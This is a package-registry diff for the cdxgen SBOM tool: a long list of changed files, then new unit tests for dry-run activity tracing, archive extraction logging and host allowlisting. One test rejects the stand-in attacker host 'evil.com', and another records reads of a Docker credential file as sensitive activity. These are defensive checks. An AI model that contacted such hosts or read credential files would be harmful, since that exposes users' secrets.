@cyclonedx/cdxgen 12.3.3 → 12.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +64 -22
- package/bin/audit.js +21 -7
- package/bin/cdxgen.js +238 -116
- package/bin/convert.js +28 -13
- package/bin/hbom.js +490 -0
- package/bin/repl.js +580 -29
- package/bin/validate.js +34 -4
- package/bin/verify.js +40 -5
- package/data/README.md +298 -25
- package/data/component-tags.json +6 -0
- package/data/crypto-oid.json +16 -0
- package/data/predictive-audit-allowlist.json +11 -0
- package/data/queries-darwin.json +12 -1
- package/data/queries-win.json +7 -1
- package/data/queries.json +39 -2
- package/data/rules/ai-agent-governance.yaml +16 -0
- package/data/rules/asar-archives.yaml +150 -0
- package/data/rules/chrome-extensions.yaml +8 -0
- package/data/rules/ci-permissions.yaml +42 -18
- package/data/rules/container-risk.yaml +14 -7
- package/data/rules/dependency-sources.yaml +11 -0
- package/data/rules/hbom-compliance.yaml +325 -0
- package/data/rules/hbom-performance.yaml +307 -0
- package/data/rules/hbom-security.yaml +248 -0
- package/data/rules/host-topology.yaml +165 -0
- package/data/rules/mcp-servers.yaml +18 -3
- package/data/rules/obom-runtime.yaml +907 -22
- package/data/rules/package-integrity.yaml +14 -0
- package/data/rules/rootfs-hardening.yaml +179 -0
- package/data/rules/vscode-extensions.yaml +9 -0
- package/lib/audit/index.js +209 -8
- package/lib/audit/index.poku.js +332 -0
- package/lib/audit/reporters.js +222 -0
- package/lib/audit/targets.js +146 -1
- package/lib/audit/targets.poku.js +186 -0
- package/lib/cli/asar.poku.js +328 -0
- package/lib/cli/index.js +506 -88
- package/lib/cli/index.poku.js +1352 -212
- package/lib/evinser/evinser.js +14 -9
- package/lib/helpers/analyzer.js +1406 -29
- package/lib/helpers/analyzer.poku.js +342 -0
- package/lib/helpers/analyzerScope.js +712 -0
- package/lib/helpers/asarutils.js +1556 -0
- package/lib/helpers/asarutils.poku.js +443 -0
- package/lib/helpers/auditCategories.js +12 -0
- package/lib/helpers/auditCategories.poku.js +32 -0
- package/lib/helpers/cbomutils.js +271 -1
- package/lib/helpers/cbomutils.poku.js +248 -5
- package/lib/helpers/display.js +291 -1
- package/lib/helpers/display.poku.js +149 -0
- package/lib/helpers/evidenceUtils.js +58 -0
- package/lib/helpers/evidenceUtils.poku.js +54 -0
- package/lib/helpers/exportUtils.js +9 -0
- package/lib/helpers/gtfobins.js +142 -8
- package/lib/helpers/gtfobins.poku.js +24 -1
- package/lib/helpers/hbom.js +710 -0
- package/lib/helpers/hbom.poku.js +496 -0
- package/lib/helpers/hbomAnalysis.js +268 -0
- package/lib/helpers/hbomAnalysis.poku.js +249 -0
- package/lib/helpers/hbomLoader.js +35 -0
- package/lib/helpers/hostTopology.js +803 -0
- package/lib/helpers/hostTopology.poku.js +363 -0
- package/lib/helpers/inventoryStats.js +69 -0
- package/lib/helpers/inventoryStats.poku.js +86 -0
- package/lib/helpers/lolbas.js +19 -1
- package/lib/helpers/lolbas.poku.js +23 -0
- package/lib/helpers/osqueryTransform.js +47 -0
- package/lib/helpers/osqueryTransform.poku.js +47 -0
- package/lib/helpers/plugins.js +349 -0
- package/lib/helpers/plugins.poku.js +57 -0
- package/lib/helpers/protobom.js +156 -45
- package/lib/helpers/protobom.poku.js +140 -5
- package/lib/helpers/remote/dependency-track.js +36 -3
- package/lib/helpers/remote/dependency-track.poku.js +44 -0
- package/lib/helpers/source.js +24 -0
- package/lib/helpers/source.poku.js +32 -0
- package/lib/helpers/utils.js +1438 -93
- package/lib/helpers/utils.poku.js +846 -4
- package/lib/managers/binary.e2e.poku.js +367 -0
- package/lib/managers/binary.js +2293 -353
- package/lib/managers/binary.poku.js +1699 -1
- package/lib/managers/docker.js +201 -79
- package/lib/managers/docker.poku.js +337 -12
- package/lib/server/server.js +2 -27
- package/lib/stages/postgen/annotator.js +38 -0
- package/lib/stages/postgen/annotator.poku.js +107 -1
- package/lib/stages/postgen/auditBom.js +121 -18
- package/lib/stages/postgen/auditBom.poku.js +1366 -31
- package/lib/stages/postgen/hostTopologyAudit.poku.js +186 -0
- package/lib/stages/postgen/postgen.js +192 -1
- package/lib/stages/postgen/postgen.poku.js +321 -0
- package/lib/stages/postgen/ruleEngine.js +116 -0
- package/lib/stages/pregen/envAudit.js +14 -3
- package/package.json +23 -21
- package/types/bin/hbom.d.ts +3 -0
- package/types/bin/hbom.d.ts.map +1 -0
- package/types/bin/repl.d.ts.map +1 -1
- package/types/lib/audit/index.d.ts +44 -0
- package/types/lib/audit/index.d.ts.map +1 -1
- package/types/lib/audit/reporters.d.ts +16 -0
- package/types/lib/audit/reporters.d.ts.map +1 -1
- package/types/lib/audit/targets.d.ts.map +1 -1
- package/types/lib/cli/index.d.ts +16 -0
- package/types/lib/cli/index.d.ts.map +1 -1
- package/types/lib/evinser/evinser.d.ts +4 -0
- package/types/lib/evinser/evinser.d.ts.map +1 -1
- package/types/lib/helpers/analyzer.d.ts +33 -0
- package/types/lib/helpers/analyzer.d.ts.map +1 -1
- package/types/lib/helpers/analyzerScope.d.ts +11 -0
- package/types/lib/helpers/analyzerScope.d.ts.map +1 -0
- package/types/lib/helpers/asarutils.d.ts +34 -0
- package/types/lib/helpers/asarutils.d.ts.map +1 -0
- package/types/lib/helpers/auditCategories.d.ts +5 -0
- package/types/lib/helpers/auditCategories.d.ts.map +1 -1
- package/types/lib/helpers/cbomutils.d.ts +3 -2
- package/types/lib/helpers/cbomutils.d.ts.map +1 -1
- package/types/lib/helpers/display.d.ts.map +1 -1
- package/types/lib/helpers/evidenceUtils.d.ts +8 -0
- package/types/lib/helpers/evidenceUtils.d.ts.map +1 -0
- package/types/lib/helpers/exportUtils.d.ts.map +1 -1
- package/types/lib/helpers/gtfobins.d.ts +8 -0
- package/types/lib/helpers/gtfobins.d.ts.map +1 -1
- package/types/lib/helpers/hbom.d.ts +49 -0
- package/types/lib/helpers/hbom.d.ts.map +1 -0
- package/types/lib/helpers/hbomAnalysis.d.ts +62 -0
- package/types/lib/helpers/hbomAnalysis.d.ts.map +1 -0
- package/types/lib/helpers/hbomLoader.d.ts +7 -0
- package/types/lib/helpers/hbomLoader.d.ts.map +1 -0
- package/types/lib/helpers/hostTopology.d.ts +12 -0
- package/types/lib/helpers/hostTopology.d.ts.map +1 -0
- package/types/lib/helpers/inventoryStats.d.ts +11 -0
- package/types/lib/helpers/inventoryStats.d.ts.map +1 -0
- package/types/lib/helpers/lolbas.d.ts.map +1 -1
- package/types/lib/helpers/osqueryTransform.d.ts +3 -0
- package/types/lib/helpers/osqueryTransform.d.ts.map +1 -1
- package/types/lib/helpers/plugins.d.ts +58 -0
- package/types/lib/helpers/plugins.d.ts.map +1 -0
- package/types/lib/helpers/protobom.d.ts +3 -4
- package/types/lib/helpers/protobom.d.ts.map +1 -1
- package/types/lib/helpers/remote/dependency-track.d.ts +10 -3
- package/types/lib/helpers/remote/dependency-track.d.ts.map +1 -1
- package/types/lib/helpers/source.d.ts.map +1 -1
- package/types/lib/helpers/utils.d.ts +45 -8
- package/types/lib/helpers/utils.d.ts.map +1 -1
- package/types/lib/managers/binary.d.ts +5 -0
- package/types/lib/managers/binary.d.ts.map +1 -1
- package/types/lib/managers/docker.d.ts.map +1 -1
- package/types/lib/server/server.d.ts +2 -1
- package/types/lib/server/server.d.ts.map +1 -1
- package/types/lib/stages/postgen/annotator.d.ts.map +1 -1
- package/types/lib/stages/postgen/auditBom.d.ts +26 -1
- package/types/lib/stages/postgen/auditBom.d.ts.map +1 -1
- package/types/lib/stages/postgen/postgen.d.ts +2 -1
- package/types/lib/stages/postgen/postgen.d.ts.map +1 -1
- package/types/lib/stages/postgen/ruleEngine.d.ts.map +1 -1
- package/types/lib/stages/pregen/envAudit.d.ts.map +1 -1
- package/data/spdx-model-v3.0.1.jsonld +0 -15999
|
@@ -10,7 +10,7 @@ import {
|
|
|
10
10
|
unlinkSync,
|
|
11
11
|
writeFileSync,
|
|
12
12
|
} from "node:fs";
|
|
13
|
-
import { tmpdir } from "node:os";
|
|
13
|
+
import { platform, tmpdir } from "node:os";
|
|
14
14
|
import path from "node:path";
|
|
15
15
|
import process from "node:process";
|
|
16
16
|
|
|
@@ -23,17 +23,23 @@ import { parse as loadYaml } from "yaml";
|
|
|
23
23
|
|
|
24
24
|
import { validateRefs } from "../validator/bomValidator.js";
|
|
25
25
|
import {
|
|
26
|
+
addEvidenceForDotnet,
|
|
27
|
+
addEvidenceForImports,
|
|
26
28
|
attachIdentityTools,
|
|
27
29
|
buildObjectForCocoaPod,
|
|
28
30
|
buildObjectForGradleModule,
|
|
31
|
+
cdxgenAgent,
|
|
29
32
|
collectExecutables,
|
|
33
|
+
collectSharedLibs,
|
|
30
34
|
convertOSQueryResults,
|
|
31
35
|
encodeForPurl,
|
|
32
36
|
extractToolRefs,
|
|
33
37
|
findLicenseId,
|
|
34
38
|
findPnpmPackagePath,
|
|
39
|
+
getAllFiles,
|
|
35
40
|
getCratesMetadata,
|
|
36
41
|
getDartMetadata,
|
|
42
|
+
getDefaultBomAuditCategories,
|
|
37
43
|
getLicenses,
|
|
38
44
|
getMvnMetadata,
|
|
39
45
|
getPropertyGroupTextNodes,
|
|
@@ -42,6 +48,7 @@ import {
|
|
|
42
48
|
guessPypiMatchingVersion,
|
|
43
49
|
hasAnyProjectType,
|
|
44
50
|
inferJarGroupFromManifest,
|
|
51
|
+
isAllowedHttpHost,
|
|
45
52
|
isDryRunError,
|
|
46
53
|
isPackageManagerAllowed,
|
|
47
54
|
isPartialTree,
|
|
@@ -133,14 +140,19 @@ import {
|
|
|
133
140
|
parseYarnLock,
|
|
134
141
|
pnpmMetadata,
|
|
135
142
|
purlFromUrlString,
|
|
143
|
+
readEnvironmentVariable,
|
|
136
144
|
readZipEntry,
|
|
145
|
+
recordSensitiveFileRead,
|
|
146
|
+
recordSymlinkResolution,
|
|
137
147
|
resetRecordedActivities,
|
|
148
|
+
safeExistsSync,
|
|
138
149
|
safeMkdtempSync,
|
|
139
150
|
safeRmSync,
|
|
140
151
|
safeSpawnSync,
|
|
141
152
|
safeUnlinkSync,
|
|
142
153
|
safeWriteSync,
|
|
143
154
|
setDryRunMode,
|
|
155
|
+
shouldRunPredictiveBomAudit,
|
|
144
156
|
splitOutputByGradleProjects,
|
|
145
157
|
toGemModuleNames,
|
|
146
158
|
trimJarGroupSuffix,
|
|
@@ -149,6 +161,23 @@ import {
|
|
|
149
161
|
|
|
150
162
|
const jarMetadataFixturesDir = path.resolve("test", "data", "jar-metadata");
|
|
151
163
|
|
|
164
|
+
function createMockedProcess(envOverrides = {}) {
|
|
165
|
+
const env = {
|
|
166
|
+
...process.env,
|
|
167
|
+
};
|
|
168
|
+
for (const [key, value] of Object.entries(envOverrides)) {
|
|
169
|
+
if (value === undefined) {
|
|
170
|
+
delete env[key];
|
|
171
|
+
} else {
|
|
172
|
+
env[key] = value;
|
|
173
|
+
}
|
|
174
|
+
}
|
|
175
|
+
const mockedProcess = Object.create(process);
|
|
176
|
+
mockedProcess.argv = [...process.argv];
|
|
177
|
+
mockedProcess.env = env;
|
|
178
|
+
return mockedProcess;
|
|
179
|
+
}
|
|
180
|
+
|
|
152
181
|
function readJarMetadataFixture(...segments) {
|
|
153
182
|
return readFileSync(path.join(jarMetadataFixturesDir, ...segments), {
|
|
154
183
|
encoding: "utf-8",
|
|
@@ -281,15 +310,320 @@ it("safeSpawnSync() returns a dry-run sentinel result when dry run mode is enabl
|
|
|
281
310
|
const result = safeSpawnSync("node", ["--version"], {});
|
|
282
311
|
assert.strictEqual(result.status, 1);
|
|
283
312
|
assert.ok(isDryRunError(result.error));
|
|
284
|
-
const
|
|
285
|
-
|
|
286
|
-
|
|
313
|
+
const executeActivity = getRecordedActivities().find(
|
|
314
|
+
(activity) => activity.kind === "execute",
|
|
315
|
+
);
|
|
316
|
+
assert.ok(executeActivity);
|
|
317
|
+
assert.strictEqual(executeActivity.status, "blocked");
|
|
318
|
+
} finally {
|
|
319
|
+
setDryRunMode(false);
|
|
320
|
+
resetRecordedActivities();
|
|
321
|
+
}
|
|
322
|
+
});
|
|
323
|
+
|
|
324
|
+
it("safeSpawnSync() does not classify non-probe -v commands as version checks", () => {
|
|
325
|
+
setDryRunMode(true);
|
|
326
|
+
resetRecordedActivities();
|
|
327
|
+
try {
|
|
328
|
+
safeSpawnSync("swift", ["package", "-v", "resolve"], {});
|
|
329
|
+
const executeActivity = getRecordedActivities().find(
|
|
330
|
+
(activity) => activity.kind === "execute",
|
|
331
|
+
);
|
|
332
|
+
assert.ok(executeActivity);
|
|
333
|
+
assert.strictEqual(executeActivity.probeType, undefined);
|
|
334
|
+
assert.ok(!/version check/i.test(executeActivity.reason));
|
|
335
|
+
} finally {
|
|
336
|
+
setDryRunMode(false);
|
|
337
|
+
resetRecordedActivities();
|
|
338
|
+
}
|
|
339
|
+
});
|
|
340
|
+
|
|
341
|
+
it("safeSpawnSync() reads CDXGEN_ALLOWED_COMMANDS once per invocation", () => {
|
|
342
|
+
const originalAllowedCommands = process.env.CDXGEN_ALLOWED_COMMANDS;
|
|
343
|
+
process.env.CDXGEN_ALLOWED_COMMANDS = "echo-cdxgen-test";
|
|
344
|
+
setDryRunMode(true);
|
|
345
|
+
resetRecordedActivities();
|
|
346
|
+
try {
|
|
347
|
+
safeSpawnSync("echo-cdxgen-test", ["value"], {});
|
|
348
|
+
const envActivities = getRecordedActivities().filter(
|
|
349
|
+
(activity) => activity.target === "process.env:CDXGEN_ALLOWED_COMMANDS",
|
|
350
|
+
);
|
|
351
|
+
assert.strictEqual(envActivities.length, 1);
|
|
352
|
+
assert.strictEqual(envActivities[0].count, 1);
|
|
353
|
+
} finally {
|
|
354
|
+
if (originalAllowedCommands === undefined) {
|
|
355
|
+
delete process.env.CDXGEN_ALLOWED_COMMANDS;
|
|
356
|
+
} else {
|
|
357
|
+
process.env.CDXGEN_ALLOWED_COMMANDS = originalAllowedCommands;
|
|
358
|
+
}
|
|
359
|
+
setDryRunMode(false);
|
|
360
|
+
resetRecordedActivities();
|
|
361
|
+
}
|
|
362
|
+
});
|
|
363
|
+
|
|
364
|
+
it("safeSpawnSync() records stdout and stderr byte sizes in debug mode", async () => {
|
|
365
|
+
const mockedProcess = createMockedProcess({
|
|
366
|
+
CDXGEN_ALLOWED_COMMANDS: "echo-cdxgen-test",
|
|
367
|
+
CDXGEN_DEBUG_MODE: "debug",
|
|
368
|
+
CDXGEN_SECURE_MODE: undefined,
|
|
369
|
+
NODE_OPTIONS: undefined,
|
|
370
|
+
});
|
|
371
|
+
const utilsModule = await esmock("./utils.js", {
|
|
372
|
+
"node:child_process": {
|
|
373
|
+
spawnSync: sinon.stub().returns({
|
|
374
|
+
status: 0,
|
|
375
|
+
stdout: "hello",
|
|
376
|
+
stderr: "warn",
|
|
377
|
+
}),
|
|
378
|
+
},
|
|
379
|
+
"node:process": {
|
|
380
|
+
default: mockedProcess,
|
|
381
|
+
},
|
|
382
|
+
});
|
|
383
|
+
utilsModule.resetRecordedActivities();
|
|
384
|
+
utilsModule.safeSpawnSync("echo-cdxgen-test", ["value"], {});
|
|
385
|
+
const executeActivity = utilsModule
|
|
386
|
+
.getRecordedActivities()
|
|
387
|
+
.find(
|
|
388
|
+
(activity) =>
|
|
389
|
+
activity.kind === "execute" &&
|
|
390
|
+
activity.target === "echo-cdxgen-test value",
|
|
391
|
+
);
|
|
392
|
+
assert.ok(executeActivity);
|
|
393
|
+
assert.strictEqual(executeActivity.stdoutBytes, 5);
|
|
394
|
+
assert.strictEqual(executeActivity.stderrBytes, 4);
|
|
395
|
+
utilsModule.resetRecordedActivities();
|
|
396
|
+
});
|
|
397
|
+
|
|
398
|
+
it("safeExtractArchive() records source byte size in debug mode", async () => {
|
|
399
|
+
const mockedProcess = createMockedProcess({
|
|
400
|
+
CDXGEN_ALLOWED_COMMANDS: undefined,
|
|
401
|
+
CDXGEN_DEBUG_MODE: "debug",
|
|
402
|
+
CDXGEN_SECURE_MODE: undefined,
|
|
403
|
+
NODE_OPTIONS: undefined,
|
|
404
|
+
});
|
|
405
|
+
const utilsModule = await esmock("./utils.js", {
|
|
406
|
+
"node:process": {
|
|
407
|
+
default: mockedProcess,
|
|
408
|
+
},
|
|
409
|
+
});
|
|
410
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-archive-trace-"));
|
|
411
|
+
const sourcePath = path.join(tempDir, "archive.zip");
|
|
412
|
+
const targetPath = path.join(tempDir, "extracted");
|
|
413
|
+
mkdirSync(targetPath, { recursive: true });
|
|
414
|
+
writeFileSync(sourcePath, "abc");
|
|
415
|
+
utilsModule.resetRecordedActivities();
|
|
416
|
+
await utilsModule.safeExtractArchive(
|
|
417
|
+
sourcePath,
|
|
418
|
+
targetPath,
|
|
419
|
+
async () => {
|
|
420
|
+
writeFileSync(path.join(targetPath, "a.txt"), "hello");
|
|
421
|
+
mkdirSync(path.join(targetPath, "nested"), { recursive: true });
|
|
422
|
+
writeFileSync(path.join(targetPath, "nested", "b.txt"), "xy");
|
|
423
|
+
},
|
|
424
|
+
"unzip",
|
|
425
|
+
);
|
|
426
|
+
const archiveActivity = utilsModule
|
|
427
|
+
.getRecordedActivities()
|
|
428
|
+
.find(
|
|
429
|
+
(activity) =>
|
|
430
|
+
activity.kind === "unzip" &&
|
|
431
|
+
activity.target === `${sourcePath} -> ${targetPath}`,
|
|
432
|
+
);
|
|
433
|
+
assert.ok(archiveActivity);
|
|
434
|
+
assert.strictEqual(archiveActivity.status, "completed");
|
|
435
|
+
assert.strictEqual(archiveActivity.sourceBytes, 3);
|
|
436
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
437
|
+
});
|
|
438
|
+
|
|
439
|
+
it("safeExtractArchive() records failed extraction activity in debug mode", async () => {
|
|
440
|
+
const mockedProcess = createMockedProcess({
|
|
441
|
+
CDXGEN_ALLOWED_COMMANDS: undefined,
|
|
442
|
+
CDXGEN_DEBUG_MODE: "debug",
|
|
443
|
+
CDXGEN_SECURE_MODE: undefined,
|
|
444
|
+
NODE_OPTIONS: undefined,
|
|
445
|
+
});
|
|
446
|
+
const utilsModule = await esmock("./utils.js", {
|
|
447
|
+
"node:process": {
|
|
448
|
+
default: mockedProcess,
|
|
449
|
+
},
|
|
450
|
+
});
|
|
451
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-archive-trace-"));
|
|
452
|
+
const sourcePath = path.join(tempDir, "archive.tar");
|
|
453
|
+
const targetPath = path.join(tempDir, "extracted");
|
|
454
|
+
mkdirSync(targetPath, { recursive: true });
|
|
455
|
+
writeFileSync(sourcePath, "abcd");
|
|
456
|
+
utilsModule.resetRecordedActivities();
|
|
457
|
+
const extractionError = new Error("permission denied");
|
|
458
|
+
extractionError.code = "EACCES";
|
|
459
|
+
await assert.rejects(
|
|
460
|
+
utilsModule.safeExtractArchive(
|
|
461
|
+
sourcePath,
|
|
462
|
+
targetPath,
|
|
463
|
+
async () => {
|
|
464
|
+
throw extractionError;
|
|
465
|
+
},
|
|
466
|
+
"untar",
|
|
467
|
+
),
|
|
468
|
+
extractionError,
|
|
469
|
+
);
|
|
470
|
+
const archiveActivity = utilsModule
|
|
471
|
+
.getRecordedActivities()
|
|
472
|
+
.find(
|
|
473
|
+
(activity) =>
|
|
474
|
+
activity.kind === "untar" &&
|
|
475
|
+
activity.target === `${sourcePath} -> ${targetPath}`,
|
|
476
|
+
);
|
|
477
|
+
assert.ok(archiveActivity);
|
|
478
|
+
assert.strictEqual(archiveActivity.status, "failed");
|
|
479
|
+
assert.strictEqual(archiveActivity.errorCode, "EACCES");
|
|
480
|
+
assert.strictEqual(archiveActivity.sourceBytes, 4);
|
|
481
|
+
rmSync(tempDir, { recursive: true, force: true });
|
|
482
|
+
});
|
|
483
|
+
|
|
484
|
+
it("records dry-run environment variable reads via helper access", () => {
|
|
485
|
+
const originalEnvValue = process.env.CDXGEN_TEST_ENV_READ;
|
|
486
|
+
process.env.CDXGEN_TEST_ENV_READ = "trace-me";
|
|
487
|
+
setDryRunMode(true);
|
|
488
|
+
resetRecordedActivities();
|
|
489
|
+
try {
|
|
490
|
+
readEnvironmentVariable("CDXGEN_TEST_ENV_READ");
|
|
491
|
+
readEnvironmentVariable("CDXGEN_TEST_ENV_READ");
|
|
492
|
+
const activities = getRecordedActivities().filter(
|
|
493
|
+
(activity) => activity.target === "process.env:CDXGEN_TEST_ENV_READ",
|
|
494
|
+
);
|
|
495
|
+
assert.strictEqual(activities.length, 1);
|
|
496
|
+
assert.strictEqual(activities[0].kind, "env");
|
|
497
|
+
assert.match(activities[0].reason, /2 times/);
|
|
498
|
+
} finally {
|
|
499
|
+
if (originalEnvValue === undefined) {
|
|
500
|
+
delete process.env.CDXGEN_TEST_ENV_READ;
|
|
501
|
+
} else {
|
|
502
|
+
process.env.CDXGEN_TEST_ENV_READ = originalEnvValue;
|
|
503
|
+
}
|
|
504
|
+
setDryRunMode(false);
|
|
505
|
+
resetRecordedActivities();
|
|
506
|
+
}
|
|
507
|
+
});
|
|
508
|
+
|
|
509
|
+
it("isAllowedHttpHost() honors exact and wildcard host allowlists", () => {
|
|
510
|
+
const originalAllowedHosts = process.env.CDXGEN_ALLOWED_HOSTS;
|
|
511
|
+
try {
|
|
512
|
+
process.env.CDXGEN_ALLOWED_HOSTS = "example.com,*.trusted.test";
|
|
513
|
+
assert.strictEqual(isAllowedHttpHost("example.com"), true);
|
|
514
|
+
assert.strictEqual(isAllowedHttpHost("api.trusted.test"), true);
|
|
515
|
+
assert.strictEqual(isAllowedHttpHost("trusted.test"), false);
|
|
516
|
+
assert.strictEqual(isAllowedHttpHost("evil.com"), false);
|
|
517
|
+
} finally {
|
|
518
|
+
if (originalAllowedHosts === undefined) {
|
|
519
|
+
delete process.env.CDXGEN_ALLOWED_HOSTS;
|
|
520
|
+
} else {
|
|
521
|
+
process.env.CDXGEN_ALLOWED_HOSTS = originalAllowedHosts;
|
|
522
|
+
}
|
|
523
|
+
}
|
|
524
|
+
});
|
|
525
|
+
|
|
526
|
+
it("deduplicates sensitive file read activity entries in dry-run mode", () => {
|
|
527
|
+
setDryRunMode(true);
|
|
528
|
+
resetRecordedActivities();
|
|
529
|
+
try {
|
|
530
|
+
recordSensitiveFileRead("/tmp/docker/config.json", {
|
|
531
|
+
label: "Docker credential file",
|
|
532
|
+
});
|
|
533
|
+
recordSensitiveFileRead("/tmp/docker/config.json", {
|
|
534
|
+
label: "Docker credential file",
|
|
535
|
+
});
|
|
536
|
+
const activities = getRecordedActivities().filter(
|
|
537
|
+
(activity) => activity.target === "/tmp/docker/config.json",
|
|
538
|
+
);
|
|
539
|
+
assert.strictEqual(activities.length, 1);
|
|
540
|
+
assert.strictEqual(activities[0].kind, "read");
|
|
541
|
+
assert.match(activities[0].reason, /2 times/);
|
|
542
|
+
} finally {
|
|
543
|
+
setDryRunMode(false);
|
|
544
|
+
resetRecordedActivities();
|
|
545
|
+
}
|
|
546
|
+
});
|
|
547
|
+
|
|
548
|
+
it("records classified manifest and config inspections in dry-run mode", () => {
|
|
549
|
+
const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-inspect-"));
|
|
550
|
+
const packageJsonFile = path.join(tmpRoot, "package.json");
|
|
551
|
+
const settingsXmlFile = path.join(tmpRoot, "settings.xml");
|
|
552
|
+
writeFileSync(packageJsonFile, "{}");
|
|
553
|
+
writeFileSync(settingsXmlFile, "<settings />");
|
|
554
|
+
setDryRunMode(true);
|
|
555
|
+
resetRecordedActivities();
|
|
556
|
+
try {
|
|
557
|
+
assert.ok(safeExistsSync(packageJsonFile));
|
|
558
|
+
assert.ok(safeExistsSync(settingsXmlFile));
|
|
559
|
+
const activities = getRecordedActivities().filter((activity) =>
|
|
560
|
+
[packageJsonFile, settingsXmlFile].includes(activity.target),
|
|
561
|
+
);
|
|
562
|
+
assert.strictEqual(activities.length, 2);
|
|
563
|
+
assert.deepStrictEqual(
|
|
564
|
+
activities.map((activity) => activity.kind),
|
|
565
|
+
["inspect", "inspect"],
|
|
566
|
+
);
|
|
567
|
+
assert.deepStrictEqual(
|
|
568
|
+
activities.map((activity) => activity.classification),
|
|
569
|
+
["manifest", "config"],
|
|
570
|
+
);
|
|
571
|
+
} finally {
|
|
572
|
+
setDryRunMode(false);
|
|
573
|
+
resetRecordedActivities();
|
|
574
|
+
rmSync(tmpRoot, { force: true, recursive: true });
|
|
575
|
+
}
|
|
576
|
+
});
|
|
577
|
+
|
|
578
|
+
it("records recursive file discovery activity in dry-run mode", () => {
|
|
579
|
+
const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-glob-"));
|
|
580
|
+
const packageJsonFile = path.join(tmpRoot, "package.json");
|
|
581
|
+
writeFileSync(packageJsonFile, "{}");
|
|
582
|
+
setDryRunMode(true);
|
|
583
|
+
resetRecordedActivities();
|
|
584
|
+
try {
|
|
585
|
+
const files = getAllFiles(tmpRoot, "**/package.json");
|
|
586
|
+
assert.deepStrictEqual(files, [packageJsonFile]);
|
|
587
|
+
const activities = getRecordedActivities().filter((activity) =>
|
|
588
|
+
activity.target.includes("**/package.json"),
|
|
589
|
+
);
|
|
590
|
+
assert.strictEqual(activities.length, 1);
|
|
591
|
+
assert.strictEqual(activities[0].kind, "discover");
|
|
592
|
+
assert.strictEqual(activities[0].discoveryType, "manifest-discovery");
|
|
287
593
|
} finally {
|
|
288
594
|
setDryRunMode(false);
|
|
289
595
|
resetRecordedActivities();
|
|
596
|
+
rmSync(tmpRoot, { force: true, recursive: true });
|
|
290
597
|
}
|
|
291
598
|
});
|
|
292
599
|
|
|
600
|
+
it("records updated discovery activity when a repeated glob match count changes", () => {
|
|
601
|
+
const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-glob-"));
|
|
602
|
+
const packageJsonFile = path.join(tmpRoot, "package.json");
|
|
603
|
+
const nestedDir = path.join(tmpRoot, "nested");
|
|
604
|
+
const nestedPackageJsonFile = path.join(nestedDir, "package.json");
|
|
605
|
+
writeFileSync(packageJsonFile, "{}");
|
|
606
|
+
setDryRunMode(true);
|
|
607
|
+
resetRecordedActivities();
|
|
608
|
+
try {
|
|
609
|
+
getAllFiles(tmpRoot, "**/package.json");
|
|
610
|
+
mkdirSync(nestedDir, { recursive: true });
|
|
611
|
+
writeFileSync(nestedPackageJsonFile, "{}");
|
|
612
|
+
getAllFiles(tmpRoot, "**/package.json");
|
|
613
|
+
const activities = getRecordedActivities().filter((activity) =>
|
|
614
|
+
activity.target.includes("**/package.json"),
|
|
615
|
+
);
|
|
616
|
+
assert.strictEqual(activities.length, 2);
|
|
617
|
+
assert.deepStrictEqual(
|
|
618
|
+
activities.map((activity) => activity.matchedCount),
|
|
619
|
+
[1, 2],
|
|
620
|
+
);
|
|
621
|
+
} finally {
|
|
622
|
+
setDryRunMode(false);
|
|
623
|
+
resetRecordedActivities();
|
|
624
|
+
rmSync(tmpRoot, { force: true, recursive: true });
|
|
625
|
+
}
|
|
626
|
+
});
|
|
293
627
|
it("dry-run filesystem wrappers do not mutate the filesystem", () => {
|
|
294
628
|
const tmpRoot = mkdtempSync(path.join(tmpdir(), "cdxgen-dry-run-"));
|
|
295
629
|
const fileToKeep = path.join(tmpRoot, "keep.txt");
|
|
@@ -445,6 +779,37 @@ it("cdxgenAgent records completed and failed network activity outcomes", async (
|
|
|
445
779
|
}
|
|
446
780
|
});
|
|
447
781
|
|
|
782
|
+
it("cdxgenAgent reads CDXGEN_ALLOWED_HOSTS once per request", () => {
|
|
783
|
+
const originalAllowedHosts = process.env.CDXGEN_ALLOWED_HOSTS;
|
|
784
|
+
try {
|
|
785
|
+
process.env.CDXGEN_ALLOWED_HOSTS = "example.com";
|
|
786
|
+
const beforeRequestHook =
|
|
787
|
+
cdxgenAgent.defaults.options.hooks.beforeRequest[0];
|
|
788
|
+
|
|
789
|
+
setDryRunMode(true);
|
|
790
|
+
resetRecordedActivities();
|
|
791
|
+
assert.throws(() =>
|
|
792
|
+
beforeRequestHook({
|
|
793
|
+
context: {},
|
|
794
|
+
url: new URL("https://example.com/resource"),
|
|
795
|
+
}),
|
|
796
|
+
);
|
|
797
|
+
const envActivities = getRecordedActivities().filter(
|
|
798
|
+
(activity) => activity.target === "process.env:CDXGEN_ALLOWED_HOSTS",
|
|
799
|
+
);
|
|
800
|
+
assert.strictEqual(envActivities.length, 1);
|
|
801
|
+
assert.strictEqual(envActivities[0].count, 1);
|
|
802
|
+
} finally {
|
|
803
|
+
if (originalAllowedHosts === undefined) {
|
|
804
|
+
delete process.env.CDXGEN_ALLOWED_HOSTS;
|
|
805
|
+
} else {
|
|
806
|
+
process.env.CDXGEN_ALLOWED_HOSTS = originalAllowedHosts;
|
|
807
|
+
}
|
|
808
|
+
setDryRunMode(false);
|
|
809
|
+
resetRecordedActivities();
|
|
810
|
+
}
|
|
811
|
+
});
|
|
812
|
+
|
|
448
813
|
it("safeSpawnSync() logs container python notices to stdout", () => {
|
|
449
814
|
const originalConsoleLog = console.log;
|
|
450
815
|
const originalConsoleWarn = console.warn;
|
|
@@ -3924,6 +4289,44 @@ it("parse project.assets.json", () => {
|
|
|
3924
4289
|
*/
|
|
3925
4290
|
});
|
|
3926
4291
|
|
|
4292
|
+
it("addEvidenceForDotnet() initializes evidence before adding occurrences", () => {
|
|
4293
|
+
const tempDir = mkdtempSync(path.join(tmpdir(), "cdxgen-dotnet-evidence-"));
|
|
4294
|
+
const slicesFile = path.join(tempDir, "dosai.json");
|
|
4295
|
+
try {
|
|
4296
|
+
writeFileSync(
|
|
4297
|
+
slicesFile,
|
|
4298
|
+
JSON.stringify({
|
|
